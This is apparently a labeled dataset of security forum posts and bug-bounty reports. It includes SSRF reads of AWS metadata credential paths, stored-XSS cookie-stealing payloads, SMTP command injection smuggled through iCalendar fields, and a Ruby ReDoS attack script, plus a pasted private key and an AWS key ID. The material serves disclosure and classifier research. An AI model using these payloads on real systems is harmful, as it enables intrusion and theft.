-{"id": "8fe414fc06f7327783ae", "text": "How to get root flag from (file.pem)\n\ni joined a challenge and i got a zip file which i further cracked and got the private key now can someone please help me on how to get the root flag from the private key which is in .pem format . well this is the private key MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQClVgejYhZHHuLz TSOtYXHOi56zSocr9om854YDu/6qHBa4Nf8xFP6INNBNlYWvAxCvKM8aQsHpv3to pwpQ+YbRZDu1NxyhvfNNTRXjdFQV9nIiKkowOt6gG2F+9O5gVF4PAnHPm+YYPwsb oRkYV8QOpzIi6NMZgDCJrgISWZmUHqThybFW/7POme1gs6tiN1XFoPu1zNOYaIL3 dtZaazXcLw6IpTJRPJAWGttqyFommYrJqCzCSaWu9jG0p1hKK7mk6wvBSR8QfHW2 qX9+NbLKegCt+/jAa6u2V9lu+K3MC2NaSzOoIi5HLMjnrujRoCx3v6ZXL0KPCFzD MEqLFJHxAgMBAAECggEAc1JeYYe5IkJY6nuTtwuQ5hBc0ZHaVr/PswOKZnBqYRzW fAatyP5ry3WLFZKFfF0W9hXw3tBRkUkOOyDIAVMKxmKzguK+BdMIMZLjAZPSUr9j PJFizeFCB0sR5gvReT9fm/iIidaj16WhidQEPQZ6qf3U6qSbGd5f/KhyqXn1tWnL GNdwA0ZBYBRaURBOqEIFmpHbuWZCdis20CvzsLB+Q8LClVz4UkmPX1RTFnHTxJW0 Aos+JHMBRuLw57878BCdjL6DYYhdR4kiLlxLVbyXrP+4w8dOurRgxdYQ6iyL4UmU Ifvrqu8aUdTykJOVv6wWaw5xxH8A31nl/hWt50vEQQKBgQDYcwQvXaezwxnzu+zJ 7BtdnN6DJVthEQ+9jquVUbZWlAI/g2MKtkKkkD9rWZAK6u3LwGmDDCUrcHQBD0h7 tykwN9JTJhuXkkiS1eS3BiAumMrnKFM+wPodXi1+4wJk3YTWKPKLXo71KbLo+5NJ 2LUmvvPDyITQjsoZoGxLDZvLFwKBgQDDjA7YHQ+S3wYk+11q9M5iRR9bBXSbUZja 8LVecW5FDH4iTqWg7xq0uYnLZ01mIswiil53+5Rch5opDzFSaHeS2XNPf/Y//TnV 1+gIb3AICcTAb4bAngau5zm6VSNpYXUjThvrLv3poXezFtCWLEBKrWOxWRP4JegI ZnD1BfmQNwKBgEJYPtgl5Nl829+Roqrh7CFti+a29KN0D1cS/BTwzusKwwWkyB7o btTyQf4tnbE7AViKycyZVGtUNLp+bME/Cyj0c0t5SsvS0tvvJAPVpNejjc381kdN 71xBGcDi5ED2hVj/hBikCz2qYmR3eFYSTrRpo15HgC5NFjV0rrzyluZRAoGAL7s3 QF9Plt0jhdFpixr4aZpPvgsF3Ie9VOveiZAMh4Q2Ia+q1C6pCSYk0WaEyQKDa4b0 6jqZi0B6S71un5vqXAkCEYy9kf8AqAcMl0qEQSIJSaOvc8LfBMBiIe54N1fXnOeK /ww4ZFfKfQd7oLxqcRADvp1st2yhR7OhrN1pfl8CgYEAsJNjb8LdoSZKJZc0/F/r c2gFFK+MMnFncM752xpEtbUrtEULAKkhVMh6mAywIUWaYvpmbHDMPDIGqV7at2+X TTu+fiiJkAr+eTa/Sg3qLEOYgU0cSgWuZI0im3abbDtGlRt2Wga0/Igw9Ewzupc8 A5ZZvI+GsHhm0Oab7PEWlRY=", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-06-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0c19a7714cb09c5f3cc8", "text": "[Information Exposure Through Sent Data] CVE-2022-27779: cookie for trailing dot TLD\n\n## Summary:\nIn CVE-2014-3620 curl prevents cookies from being set for Top Level Domains (TLDs). According to the advisory, curl's \"cookie parser has no Public Suffix awareness\", but it will \"reject TLDs from being allowed\". However, a cookie can still be set for a TLD + trailing dot. \n\nA trailing dot after a TLD is considered legal and curl will send the http://example.com. to http://example.com\n\n## Steps To Reproduce:\n1. Create an Apache file like the following\n````\n<?php\n\nheader(\"Set-Cookie: a=b; Domain=.me.\");\n````\n2. Now save the cookie to curl and see the cookie is set for .me. \n````\ncurl -c cookies.txt http://localtest.me./index.php\n````\ncookies.txt:\n````\n# Netscape HTTP Cookie File\n# https://curl.se/docs/http-cookies.html\n# This file was generated by libcurl! Edit at your own risk.\n\n.me.    TRUE    /       FALSE   0       a       b\n````\n3. Requests sent via curl to the domain with TLD + '.' will now contain the particular cookie.\n````\ncurl -b cookies.txt http://domain.me./index.php\n````\n````\nGET / HTTP/1.1\nHost: domain.me.\nUser-Agent: curl/7.83.0\nAccept: */*\nCookie: a=b\n````\n\n## Impact\n\nCookies can be set by arbitrary sites for TLD + \".\", and if a trailing dot is used for an unrelated site, curl will send the cookie to the unrelated site.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2022-27779", "CVE-2014-3620"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d38fcfde9f9067ff85b5", "text": "yep, “just run everything with sudo” means there’s no use for sudo and you might as well just log in as root. On the next set of questions, one question is about running tcpdump to capture traffic on an interface. The accepted answer does not include sudo - in real life, without some fiddling, this will actually need sudo", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-06-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "30fe3144bf662e7a8aea", "text": "[Server-Side Request Forgery (SSRF)] SSRF to read AWS metaData at https://█████/ [HtUS]\n\nHello Team,\nWhile researching your program I found that the domain https://████/ is vulnerable to Server Side Request Frogery Attacks via the url parameter. \nAn attacker is able to fetch the aws metadata abusing the SSRF at https://████████/\n============================SUMMARY=========================\n## Vulnerable URL:\nhttps://███████/\n\n## Vulnerable Path:\n/api/v1/download-url?url=http://169.254.169.254/latest/meta-data/\n\n## Final Exploit URL:\nhttps://█████/api/v1/download-url?url=http://169.254.169.254/latest/meta-data/\n\n## Exploited AWS metadata\n```\nami-id\nami-launch-index\nami-manifest-path\nblock-device-mapping/\nevents/\nhostname\nidentity-credentials/\ninstance-action\ninstance-id\ninstance-life-cycle\ninstance-type\nlocal-hostname\nlocal-ipv4\nmac\nmetrics/\nnetwork/\nplacement/\nprofile\npublic-hostname\npublic-ipv4\npublic-keys/\nreservation-id\nsecurity-groups\nservices/\n```\n\n## Exposed Credentials:\nhttps://█████████/api/v1/download-url?url=http://169.254.169.254/2021-07-15/meta-data/identity-credentials/ec2/security-credentials/ec2-instance\n```\n{\n  \"Code\" : \"Success\",\n  \"LastUpdated\" : \"2022-07-04T11:22:59Z\",\n  \"Type\" : \"AWS-HMAC\",\n  \"AccessKeyId\" : \"███\",\n  \"SecretAccessKey\" : \"████\",\n  \"Token\" : \"████\n  ```\n===========================STEPS TO REPRODUCE==========================\n1) Go to the above Exploit URL, i.e; https://█████/api/v1/download-url?url=http://169.254.169.254/latest/meta-data/\n2) You will see the AWS Metadata being fetched and exposed.\n\n## Impact\n\nAn attacker is able to explore and fertch the AWS metadata via the SSRF. This SSRF can be used to perform other attack vectors as well such as scanning internal ports. A successful SSRF attack can often result in unauthorized actions or access to data within the organization, either in the vulnerable application itself or on other back-end systems that the application can communicate with.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3693007922ab41e9192c", "text": "[Uncontrolled Resource Consumption] Denial of Service vulnerability in curl when parsing MQTT server response\n\n## Summary:\nCurl remains in infinite loop with suitable MQTT server response.\n\n## Steps To Reproduce:\n\n###Step 1:\nRun the following on linux with the attached file \"poc\" :\n```\n$ socat -u FILE:poc TCP-LISTEN:12345,reuseaddr,fork\n```\n###Step 2:\nUse curl:\n```\n$ curl mqtt://localhost:12345\n```\n###Step 3:\nObserve output of \"top\".\n\n## Supporting Material/References:\n[list any additional material (e.g. screenshots, logs, etc.)]\n\n  * F1667277 (poc file to host for curl to access)\n  * F1667276 (screen capture of top)\n  \n\n## Debugging Notes:\n\nDebug trace output before going to the loop:\n```\n=> Send header, 26 bytes (0x1a)\n0000: 10 18 00 04 4d 51 54 54 04 02 00 3c 00 0c 63 75 ....MQTT...<..cu\n0010: 72 6c 36 30 64 33 32 37 66 39                   rl60d327f9\n== Info: MQTT_FIRST (from MQTT_FIRST) (next is MQTT_CONNACK)\n== Info: STATE: DO => DOING handle 0x5555555dc0d8; line 2132 (connection #0)\n== Info: mqtt_doing: state [0]\n== Info: mqtt_doing: state [0]\n== Info: mqtt_doing: state [0]\n== Info: mqtt_doing: state [0]\n== Info: mqtt_doing: state [0]\n== Info: mqtt_doing: state [0]\n== Info: mqtt_doing: state [0]\n...\n```\nThis section of lib/multi.c looks suspicious (line 2132 points here before entering the loop):\n```\n   2130             /* DO was not completed in one function call, we must continue\n   2131                DOING... */\n   2132             multistate(data, MSTATE_DOING);\n   2133             rc = CURLM_OK;\n   2134           }\n```\n## Credits\nJenny Heino and Antti Levomäki from Forcepoint\n\n## Impact\n\nAttacker can cause a Denial of Service by delivering malicious content behind a MQTT URL. For example internet crawlers could be affected, or any other implementations automatically fetching provided URLs using curl.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "adf74a1a83325036e9a7", "text": "[Cross-Site Request Forgery (CSRF)] CSRF in Importing CSV files [app.taxjar.com]\n\nGreetings!\n\nBasically, app.taxjar.com has a feature where we can import Transactions from CSV files. I've found that there is lack of CSRF protection in importing CSV documents. I was able to successfully craft a CSRF request.\n\n\n## Steps to reproduce\n\n1. Go to app.taxjar.com\n2. Create two accounts. Alex and Attacker\n3. From attacker, upload CSV document and intercept request\n4. The request will look like this...\n\n```\nPOST / HTTP/1.1\nHost: taxjar-prod-bucket.s3.amazonaws.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: https://app.taxjar.com/\nContent-Type: multipart/form-data; boundary=---------------------------211004162938951800283798959588\nContent-Length: 4343\nOrigin: https://app.taxjar.com\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: cross-site\nSec-Fetch-User: ?1\nTe: trailers\nConnection: close\n\n-----------------------------211004162938951800283798959588\nContent-Disposition: form-data; name=\"utf8\"\n\n✓\n-----------------------------211004162938951800283798959588\nContent-Disposition: form-data; name=\"key\"\n\nuploads/e996ac74-689e-4fae-872b-16c537050062/${filename}\n-----------------------------211004162938951800283798959588\nContent-Disposition: form-data; name=\"acl\"\n\nbucket-owner-full-control\n-----------------------------211004162938951800283798959588\nContent-Disposition: form-data; name=\"policy\"\n\neyJleHBpcmF0aW9uIjoiMjAyMi0wNy0xNVQyMjo1NzoxOVoiLCJjb25kaXRpb25zIjpbWyJzdGFydHMtd2l0aCIsIiR1dGY4IiwiIl0sWyJzdGFydHMtd2l0aCIsIiRrZXkiLCJ1cGxvYWRzL2U5OTZhYzc0LTY4OWUtNGZhZS04NzJiLTE2YzUzNzA1MDA2Mi8iXSx7IlgtQW16LUFsZ29yaXRobSI6IkFXUzQtSE1BQy1TSEEyNTYifSx7IlgtQW16LUNyZWRlbnRpYWwiOiJBS0lBVTJNR1NaQVVTWVhSR0dBTy8yMDIyMDcxNS91cy1lYXN0LTEvczMvYXdzNF9yZXF1ZXN0In0seyJYLUFtei1EYXRlIjoiMjAyMjA3MTVUMTI1NzE5WiJ9LHsiYnVja2V0IjoidGF4amFyLXByb2QtYnVja2V0In0seyJhY2wiOiJidWNrZXQtb3duZXItZnVsbC1jb250cm9sIn0seyJzdWNjZXNzX2FjdGlvbl9yZWRpcmVjdCI6Imh0dHBzOi8vYXBwLnRheGphci5jb20vY3N2X2ltcG9ydHMvdXBsb2FkX2NvbXBsZXRlIn0sWyJjb250ZW50LWxlbmd0aC1yYW5nZSIsMSw1MjQyODgwMF1dfQ==\n-----------------------------211004162938951800283798959588\nContent-Disposition: form-data; name=\"X-Amz-Signature\"\n\ncdf6518c0ff866ce94128a4b9b3836c2e367650c319c4a98d92e300474775b62\n-----------------------------211004162938951800283798959588\nContent-Disposition: form-data; name=\"X-Amz-Credential\"\n\nAKIAU2MGSZAUSYXRGGAO/20220715/us-east-1/s3/aws4_request\n-----------------------------211004162938951800283798959588\nContent-Disposition: form-data; name=\"X-Amz-Algorithm\"\n\nAWS4-HMAC-SHA256\n-----------------------------211004162938951800283798959588\nContent-Disposition: form-data; name=\"X-Amz-Date\"\n\n20220715T125719Z\n-----------------------------211004162938951800283798959588\nContent-Disposition: form-data; name=\"success_action_redirect\"\n\nhttps://app.taxjar.com/csv_imports/upload_complete\n-----------------------------211004162938951800283798959588\nContent-Disposition: form-data; name=\"file\"; filename=\"CSV_V1_Template.csv\"\nContent-Type: application/vnd.ms-excel\n\nprovider,order_id,transaction_type,transaction_reference_id,completed_at,customer_name,shiptostreet,shiptocity,shiptostate,shiptozip,shiptocountrycode,from_street,from_city,from_state,from_zip,from_country,shipping_amount,handling_amount,discount_amount,total_sale,sales_tax,exemption_type\nweb,v1_order_one,Order,,2019-05-04 15:20:47 UTC,Vanellope von Schweetz,4301 Roxboro Rd,Durham,NC,27704,US,4301 Roxboro Rd,Durham,NC,27704,US,$8.00,0,0,$113.94,$10.80,\nweb,v1_full_refund,Refund,v1_order_one,5/5/2019,Vanellope von Schweetz,4301 Roxboro Rd,Durham,NC,27704,US,4301 Roxboro Rd,Durham,NC,27704,US,-8,0,0,-113.94,-10.8,\nweb,v1_order_with_refund,Order,,5/15/2019 3:06,Vanellope von Schweetz,4301 Roxboro Rd,Durham,NC,27704,US,4301 Roxboro Rd,Durham,NC,27704,US,8,0,0,113.94,10.8,\nweb,v1_partial_refund_one,Refund,v1_ord", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5cd6baa661ce29e8a0e8", "text": "Looking for Guest Post\n\n\tDiscussion in 'Internet Marketing' started by nitingupta2817, Feb 6, 2018.\n\nYou will get lots of Guest Post data on the web.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hacker_exploits", "forum_id": "go4expert", "timestamp": "2022-03-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ac0a0bd9dbab805e476a", "text": "[CRLF Injection] SMTP Command Injection in iCalendar Attachments to Emails via Newlines\n\nNote: This is similar to {1509216}, but has a new source/attack vector. Apologies for not picking this up earlier.\n\n## Summary:\nWhen users receive iCalendar attachments in Mail, there is an option to add it to their calendar:\n\n██████████\n\nOnce they add it to calendar, a PUT request is sent:\n\n```\nPUT /remote.php/dav/calendars/nextcloud/personal/██████.ics HTTP/2\nHost: 192.168.92.132\n\nBEGIN:VCALENDAR\nPRODID:-//Nextcloud Mail\nBEGIN:VTIMEZONE\nTZID:Asia/Singapore\nBEGIN:STANDARD\nTZOFFSETFROM:+0800\nTZOFFSETTO:+0800\nTZNAME:+08\nDTSTART:19700101T000000\nEND:STANDARD\nEND:VTIMEZONE\nBEGIN:VEVENT\nCREATED:20220319T044448Z\nDTSTAMP:20220319T080250Z\nLAST-MODIFIED:20220319T080250Z\nSEQUENCE:2\nUID:a027641d-9f3a-4570-8cff-aa5cde0ba323\nDTSTART;TZID=Asia/Singapore:20220322T100000\nDTEND;TZID=Asia/Singapore:20220322T110000\nSTATUS:CONFIRMED\nSUMMARY:Normal Event\nATTENDEE;CN=nextcloud;CUTYPE=INDIVIDUAL;PARTSTAT=DECLINED;ROLE=REQ-PARTICIP\n ANT;RSVP=TRUE;LANGUAGE=en:mailto:███\nORGANIZER;CN=Normal User:mailto:<ORGANIZER EMAIL>\nEND:VEVENT\nEND:VCALENDAR\n```\n\nAt the same time, an SMTP pipelined command is sent to the email server to email <ORGANIZER EMAIL> that the user has accepted the event.\n\nUnfortunately, since `<ORGANIZER EMAIL>` is not sanitized, if an attacker sends a poisoned iCalendar file with newlines in the `ORGANIZER` property, this will inject newlines in the pipelined SMTP commands, allowing the attacker to inject arbitrary SMTP commands.\n\nThese commands vary depending on the backend email server (Gmail, Outlook, local SMTP server) and thus can have different impacts, such as changing the `MAIL FROM` user, running sensitive commands like `QUEU` to view the current view, and so on. The errors in SMTP are returned in the response, thus making this a non-blind injection.\n\nFor example, an attacker can inject a simple `EHLO a` command:\n\n```\nBEGIN:VCALENDAR\nCALSCALE:GREGORIAN\nVERSION:2.0\nPRODID:-//Nextcloud Mail\nBEGIN:VEVENT\nCREATED:20220319T044448Z\nDTSTAMP:20220319T080250Z\nLAST-MODIFIED:20220319T080250Z\nSEQUENCE:2\nUID:a027641d-9f3a-4570-8cff-aa5cde0ba323\nDTSTART;TZID=Asia/Singapore:20220322T100000\nDTEND;TZID=Asia/Singapore:20220322T110000\nSTATUS:CONFIRMED\nSUMMARY:Normal Event\nATTENDEE;CN=nextcloud;CUTYPE=INDIVIDUAL;PARTSTAT=DECLINED;ROLE=REQ-PARTICIP\n ANT;RSVP=TRUE;LANGUAGE=en:mailto:████\nORGANIZER;CN=Normal User:mailto:test(\\nEHLO a\\n)@gmail.com\nEND:VEVENT\nBEGIN:VTIMEZONE\nTZID:Asia/Singapore\nBEGIN:STANDARD\nTZOFFSETFROM:+0800\nTZOFFSETTO:+0800\nTZNAME:+08\nDTSTART:19700101T000000\nEND:STANDARD\nEND:VTIMEZONE\nEND:VCALENDAR\n```\n\nWhich for Gmail would return:\n\n```\n{\"status\":\"error\",\"message\":\"Could not send mail: Expected response code 354 but got code \\\"250\\\", with message \\\"250-smtp.gmail.com at your service, [116.89.6.224]\\r\\n250-SIZE 35882577\\r\\n250-8BITMIME\\r\\n250-AUTH LOGIN PLAIN XOAUTH2 PLAIN-CLIENTTOKEN OAUTHBEARER XOAUTH\\r\\n250-ENHANCEDSTATUSCODES\\r\\n250-PIPELINING\\r\\n250-CHUNKING\\r\\n250 SMTPUTF8\\r\\n\\\"\",\"data\":{\"type\":\"OCA\\\\Calendar\\\\Exception\\\\ServiceException\",\"message\":\"Could not send mail: Expected response code 354 but got code \\\"250\\\", with message \\\"250-smtp.gmail.com at your service, [116.89.6.224]\\r\\n250-SIZE 35882577\\r\\n250-8BITMIME\\r\\n250-AUTH LOGIN PLAIN XOAUTH2 PLAIN-CLIENTTOKEN OAUTHBEARER XOAUTH\\r\\n250-ENHANCEDSTATUSCODES\\r\\n250-PIPELINING\\r\\n250-CHUNKING\\r\\n250 SMTPUTF8\\r\\n\\\"\",\"code\":250,\n```\n\nNote that for this report, the commands are blind; but can be used remotely if changing the sender/recipient. I added additional logging to `/var/www/nextcloud/3rdparty/swiftmailer/swiftmailer/lib/classes/Swift/Transport/AbstractSmtpTransport.php` to confirm that the commands were injected.\n\n## Steps To Reproduce:\n\nNote: Email sending should be set up in the admin settings.\n\nSetup `/var/www/nextcloud/3rdparty/swiftmailer/swiftmailer/lib/classes/Swift/Transport/AbstractSmtpTransport.php` to log SMTP commands. I inserted the following at line 343: `file_put_contents('/tmp/test.log',$response,FILE_APPEND);` (under `$response = $this->getFullResponse($seq);", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0ce7e86e2bdab8c58e5d", "text": "[SQL Injection] SQL Injection in parameter REPORT\n\nHi there, i found a SQL ERROR on ur website; \n\nLink : https://trac.torproject.org/projects/tor/query?status=closed&report=1'\n\nThanks, Weedatae\n\nScreen : https://i.imgur.com/aqfSBy1.png", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "40bb7bf2585a088cdc12", "text": "[Unknown] [CPP]: Add query for CWE-754: Improper Check for Unusual or Exceptional Conditions when using functions scanf\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1477cd428e5bb57d89b2", "text": "[Cross-site Scripting (XSS) - Stored] Stored XSS on wordpress.com\n\n## Summary:\nHello team,\nI found a Stored XSS vulnerability in WordPress.com via app.crowdsignal.com. It is similar to report #1987172.\n\n## Platform(s) Affected:\nwordpress.com\n\n1 .Go to https://app.crowdsignal.com/dashboard and create a poll.\n2. Enter the following payload as an answer: \"style=\"position:fixed;top:0;left:0;border:999em solid green;\" onmouseover=\"alert(document.cookie)\"\n3. Go to \"Share Your Poll\" and copy the link.\n4. Navigate to https://wordpress.com/posts and add a new post.\n5. Include the copied link in the post.\n6. Save the post.\n7. Open the page and click on \"View Results.\"\n8. The XSS vulnerability will be triggered.\n\n████\n\n## Impact\n\nThe attacker can use this issue to execute malicious script code in the victim user browser also redirect the victim user to malicious sites", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a973b0298fd82f9c14bf", "text": "[Unknown] HTTP PUT method is enabled downloader.ratelimited.me\n\n## Summary:\nFound on HTTP PUT sites enabled on web servers. I tried testing to write the file / codelayer137.txt uploaded to the server using the PUT verb, and the contents of the file were then taken using the GET verb\n\n## Steps To Reproduce:\nRequest:\nPUT /codeslayer137.txt HTTP/1.1\nHost: downloader.ratelimited.me\nContent-Length: 21\nConnection: close\n\nTesting By CodeSlayer\n\nResponse:\nHTTP/1.1 200 OK\nDate: Mon, 22 Apr 2019 13:10:13 GMT\nContent-Type: download/thisfile\nContent-Length: 0\nConnection: close\nSet-Cookie: __cfduid=d5508aeb63f9590d9be26bcccc049fdbf1555938612; expires=Tue, 21-Apr-20 13:10:12 GMT; path=/; domain=.ratelimited.me; HttpOnly; Secure\nAccept-Ranges: bytes\nContent-Security-Policy: block-all-mixed-content\nEtag: \"59448a863a8dbff84de1cf4f03c8e9cf\"\nVary: Origin\nX-Amz-Request-Id: 1597CDECEA82CBA5\nX-Minio-Deployment-Id: ebc7a0d8-9f47-4bdb-92ee-4a9cbbd3ec48\nX-Xss-Protection: 1; mode=block\nStrict-Transport-Security: max-age=31536000; includeSubDomains; preload\nX-Content-Type-Options: nosniff\nExpect-CT: max-age=604800, report-uri=\"https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct\"\nServer: cloudflare\nCF-RAY: 4cb7d629decba9a2-SIN\n\n\n\n\nPOC: https://download.ratelimited.me/codeslayer137.txt\n\n## Impact\n\nThe HTTP PUT method is normally used to upload data that is saved on the server at a user-supplied URL. If enabled, an attacker may be able to place arbitrary, and potentially malicious, content into the application. Depending on the server's configuration, this may lead to compromise of other users (by uploading client-executable scripts), compromise of the server (by uploading server-executable code), or other attacks.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-08-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4e4836e5d75e373af5f5", "text": "[Cross-site Scripting (XSS) - Stored] Stored Xss on bugzilla.mozilla.org via comment edit feature from non-admin to admin.\n\nHi There !\nThere is Stored xss on comment feature.\nThe XSS executed when admin tries to edit the comment. The XSS fires.\nI tried to Bypass the CSP But was not able to.\n\nSteps To Reproduce.\n1. Create a report in bugzilla.mozilla.org as users.\n2.  Comment this xss payload as users ``</base</sTyle/</scRIpt/</textArea/</noScript/</tiTle/-->＜h1/<h1><image/onerror=\"import('data:application/javascript;charset=utf-8;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKTtjb25zb2xlLmxvZyhkb2N1bWVudC5kb21haW4pOy8v')//%27\"src><script>``\n3. Now as admin, TRy to edit the comment, you will see xss popup with document.domain when csp disabled.\n\nI am working on to bypass the csp\nI have filed a bug report on bugzilla with my xss containing comment.\nhttps://bugzilla.mozilla.org/show_bug.cgi?id=1848911\nTry to edit and  check your browser console if csp is enabled. if csp isn't enabled, you will be able to see popup.\nI tested this on my local instance, and this worked.\n\nThanks\nBest Regards\nr3dpars3c\n\n## Impact\n\nClient side javascript execution.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e06686c478d4b47094ec", "text": "[Unknown] ReDoS in Time.rfc2822\n\nHello, I found a pattern that occur ReDoS in `Time.rfc2822` (and `Time.rfc822`).\n\nhttps://github.com/ruby/time/blob/v0.2.0/lib/time.rb#L505\n\n```ruby\n    def rfc2822(date)\n      if /\\A\\s*\n          (?:(?:Mon|Tue|Wed|Thu|Fri|Sat|Sun)\\s*,\\s*)?\n          (\\d{1,2})\\s+\n          (Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\\s+\n          (\\d{2,})\\s+\n          (\\d{2})\\s*\n          :\\s*(\\d{2})\\s*\n          (?::\\s*(\\d{2}))?\\s+\n          ([+-]\\d{4}|\n           UT|GMT|EST|EDT|CST|CDT|MST|MDT|PST|PDT|[A-IK-Z])/ix =~ date\n```           \n\nIt is a detect result by `recheck` ( https://makenowjust-labs.github.io/recheck/ ).\n\n{F1624605}\n\n## PoC\n\n```\n❯ ruby -v\nruby 3.1.1p18 (2022-02-18 revision 53f5fc4236) [arm64-darwin20]\n\n❯ irb\nirb(main):001:0> require 'time'\n=> true\nirb(main):002:0>  Time.rfc2822 \"0 Feb 00 00 :00\" + \" \" * 20000\n# => ReDoS (and raise ArgumentError)\n```\n\n## benchmark\n\nrfc2822_benchmark.rb\n\n```ruby\nrequire 'benchmark'\nrequire 'time'\n  \ndef rfc2822_parse(length)\n  text = \"0 Feb 00 00 :00\" + \" \" * length\n  Time.rfc2822(text)\nrescue ArgumentError\n  nil\nend\n\nBenchmark.bm do |x|\n  x.report { rfc2822_parse(100) }\n  x.report { rfc2822_parse(1000) }\n  x.report { rfc2822_parse(10000) }\n  x.report { rfc2822_parse(100000) }\nend\n```\n\n```\n❯ bundle exec ruby rfc2822_benchmark.rb\n       user     system      total        real\n   0.000326   0.000009   0.000335 (  0.000344)\n   0.029284   0.000054   0.029338 (  0.029469)\n   2.860528   0.007354   2.867882 (  2.875771)\n 290.843621   0.889107 291.732728 (292.665729)\n```\n\n---\n\n\n## Rack\n\nIn `Rack::ConditionalGet`, the header value is parsed by `Time.rfc2822`, so it is possible to attack from the request.\n\nhttps://github.com/rack/rack/blob/2.2.3/lib/rack/conditional_get.rb#L52\n\n### PoC\n\nGemfile\n\n```\n# frozen_string_literal: true\n\nsource \"https://rubygems.org\"\n\ngem 'rack', '~> 2.2', '>= 2.2.3'\ngem 'puma', '~> 5.6', '>= 5.6.2'\n```\n\nconfig.ru\n\n```ruby\nclass Server\n  def call(env)\n    # puts env\n    [ 200, {}, [\"...\"]]\n  end\nend\n\nuse ::Rack::ConditionalGet\nrun Server.new\n```\n\n```ruby\nrequire 'net/http'\n\nurl = URI.parse('http://127.0.0.1:9292/')\n\nreq = Net::HTTP::Get.new(url.path)\n\nreq['IF_MODIFIED_SINCE'] =  \"0 Feb 00 00 :00\" + \" \" * 20000 + \"+0\"\n\nres = Net::HTTP.start(url.host, url.port) {|http|\n  http.request(req)\n}\nputs res.body\n```\n\n```\n❯ time bundle exec ruby rfc2822_request.rb\n...\nbundle exec ruby rfc2822_request.rb  0.18s user 0.07s system 2% cpu 11.516 total\n```\n\n## Impact\n\nReDoS occurs when `Time.rfc2822` accepts user input.\n\nRails uses `::Rack::ConditionalGet` by default, so it can be attacked by a request from the client.\n\nIf using nginx etc., the header length is limited to about 8k bytes, so it seems to be less affected. ( https://stackoverflow.com/questions/686217/maximum-on-http-header-values )\n\nOn the other hand, puma is susceptible because it can be used up to 80 * 1024.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6540a36d5883ed7d410d", "text": "[Cross-site Scripting (XSS) - Reflected] RXSS on ███████\n\nI found Reflected XSS on https://███/contact-us/#.YsSAGCNBzaQ.\nThe parameters in the contact form are not properly filtered, leading to possible insertion of `\"` characters and javascript execution\n\n## Impact\n\nPerform any action within the application that the user can perform.\nView any information that the user is able to view.\nModify any information that the user is able to modify.\nInitiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user.\n\n## System Host(s)\n███████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1. Use this code in your BurpSuite Repeater.\n```\nPOST /contact-us/ HTTP/1.1\nHost: ███████\nCookie: wire=kh92hb67grih1376an7igoeo39; _ga_877MBKEB9K=GS1.1.1657044258.1.1.1657044351.0; _ga=GA1.2.58467857.1657044259; __atuvc=2%7C27; __atuvs=62c47d237cd3f8d9001; 